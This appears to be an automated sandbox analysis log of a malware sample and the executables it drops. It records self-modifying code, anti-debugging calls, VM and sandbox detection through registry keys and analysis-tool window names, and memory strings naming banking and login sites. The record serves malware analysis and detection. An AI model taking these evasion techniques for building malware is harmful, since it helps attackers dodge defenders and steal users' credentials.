Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Special instruction interceptor: First address: 870A74 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Special instruction interceptor: First address: 8DBEC5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Special instruction interceptor: First address: EC46AE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Special instruction interceptor: First address: 6946AE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Special instruction interceptor: First address: 3FDD18 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Special instruction interceptor: First address: 3FDC4C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Special instruction interceptor: First address: 5B354E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Special instruction interceptor: First address: 5B1CDD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Special instruction interceptor: First address: 5E0A74 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Special instruction interceptor: First address: 64BEC5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe	Special instruction interceptor: First address: 24E9B1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe	Special instruction interceptor: First address: 24C2DA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe	Special instruction interceptor: First address: 403535 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Special instruction interceptor: First address: A8EBCF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Special instruction interceptor: First address: A8EAB0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Special instruction interceptor: First address: C334DB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Special instruction interceptor: First address: C4148B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Special instruction interceptor: First address: A8EAF0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Special instruction interceptor: First address: CB8949 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe	Special instruction interceptor: First address: 88D94E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Special instruction interceptor: First address: 4046AE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe	Special instruction interceptor: First address: 64EBCF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe	Special instruction interceptor: First address: 64EAB0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe	Special instruction interceptor: First address: 7F34DB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe	Special instruction interceptor: First address: 80148B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe	Special instruction interceptor: First address: 64EAF0 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Memory allocated: 54F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Memory allocated: 5700000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Memory allocated: 54F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Memory allocated: 56D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Memory allocated: 58F0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Memory allocated: 5730000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Memory allocated: 4B80000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Memory allocated: 4D20000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Memory allocated: 6D20000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Memory allocated: 4A70000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Memory allocated: 4C20000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Memory allocated: 6C20000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Memory allocated: 4E80000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Memory allocated: 50A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Memory allocated: 4E80000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Memory allocated: 5010000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Memory allocated: 51B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Memory allocated: 71B0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe

Code function: 3_2_007ACBF5 rdtsc

3_2_007ACBF5

Source: C:\Users\user\Desktop\file.exe

Code function: 0_3_058A18E4 sldt word ptr [eax]

0_3_058A18E4

Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1402			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 7152			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1002449001\90f56e27b8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[3].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1002450001\a55050ee6f.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[2].exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 7524	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7600	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe TID: 8052	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6088	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6092	Thread sleep count: 58 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6092	Thread sleep time: -116058s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5140	Thread sleep count: 244 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5140	Thread sleep time: -7320000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5972	Thread sleep count: 1402 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5972	Thread sleep time: -2805402s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2796	Thread sleep count: 70 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2796	Thread sleep time: -140070s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5972	Thread sleep count: 7152 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5972	Thread sleep time: -14311152s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2864	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2040	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1552	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4268	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1860	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1588	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe TID: 1496	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe TID: 7520	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe TID: 8080	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe TID: 3172	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7132	Thread sleep count: 33 > 30
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7132	Thread sleep time: -990000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7132	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe TID: 6072	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe TID: 3664	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	File opened: C:\Users\user\AppData\Local\Temp
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	File opened: C:\Users\user
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	File opened: C:\Users\user\AppData\Local
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	File opened: C:\Users\user\Documents\desktop.ini
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	File opened: C:\Users\user\AppData
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	File opened: C:\Users\user\Desktop\desktop.ini

Source: skotes.exe, skotes.exe, 00000006.00000003.2082832328.000000000964B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2642683430.00000000011BA000.00000040.00000001.01000000.0000000C.sdmp, 8301009305.exe, 0000000C.00000002.2233411085.0000000000458000.00000040.00000001.01000000.0000000E.sdmp, axplong.exe, 0000000D.00000002.2263735341.0000000000378000.00000040.00000001.01000000.0000000F.sdmp, axplong.exe, 0000000E.00000002.2272113326.0000000000378000.00000040.00000001.01000000.0000000F.sdmp, de057a4668.exe, 0000000F.00000002.2381444317.0000000001055000.00000040.00000001.01000000.00000010.sdmp, 4264524541.exe, 00000010.00000002.2422160968.0000000000825000.00000040.00000001.01000000.00000011.sdmp, de057a4668.exe, 00000011.00000002.2412266764.0000000001055000.00000040.00000001.01000000.00000010.sdmp, de057a4668.exe, 00000013.00000002.2499320684.0000000001055000.00000040.00000001.01000000.00000010.sdmp, axplong.exe, 00000014.00000002.2631485541.0000000000378000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: wintoolsone64.exe, 00000012.00000002.2631624901.0000000000BDC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllrr@
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: 8301009305.exe, 0000000C.00000003.2195936111.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2486073608.000000000197C000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000014.00000002.2643417791.0000000001548000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000014.00000002.2643417791.000000000157A000.00000004.00000020.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000002.2631387587.000000000065E000.00000004.00000020.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000002.2631387587.00000000006D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006224000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: skotes.exe, 00000006.00000002.2631479541.0000000000605000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0[d%SystemRoot%\system32\mswsock.dll
Source: axplong.exe, 00000014.00000002.2643417791.000000000157A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWd
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: skotes.exe, 00000006.00000002.2631479541.000000000063A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW[
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: M20I1ZOZUN9VGSWFO63POXM.exe, 00000004.00000002.1764656267.0000000000D29000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: wintoolsone64.exe, 00000012.00000002.2653395699.00000000020A0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: rykCKtzLhVlhZyZkwUQRTbonZDbJSMoCiEjovhBKJNlwQRebuQaLflPQEmUkgQCRaZmbAEtCeVnEsRcHXugkKyvkcfbSpEx
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: skotes.exe, 0000000B.00000003.2486073608.000000000197C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW\,
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe, 00000003.00000002.1852799976.00000000007B5000.00000040.00000001.01000000.00000006.sdmp, M20I1ZOZUN9VGSWFO63POXM.exe, 00000004.00000002.1764980520.00000000011BA000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000005.00000002.1799058111.00000000011BA000.00000040.00000001.01000000.0000000C.sdmp, skotes.exe, 00000006.00000003.2082832328.000000000964B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2642683430.00000000011BA000.00000040.00000001.01000000.0000000C.sdmp, 8301009305.exe, 0000000C.00000002.2233411085.0000000000458000.00000040.00000001.01000000.0000000E.sdmp, axplong.exe, 0000000D.00000002.2263735341.0000000000378000.00000040.00000001.01000000.0000000F.sdmp, axplong.exe, 0000000E.00000002.2272113326.0000000000378000.00000040.00000001.01000000.0000000F.sdmp, de057a4668.exe, 0000000F.00000002.2381444317.0000000001055000.00000040.00000001.01000000.00000010.sdmp, 4264524541.exe, 00000010.00000002.2422160968.0000000000825000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_04B50E4B Start: 04B50E75 End: 04B50E11

6_2_04B50E4B

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe	Open window title or class name: filemonclass
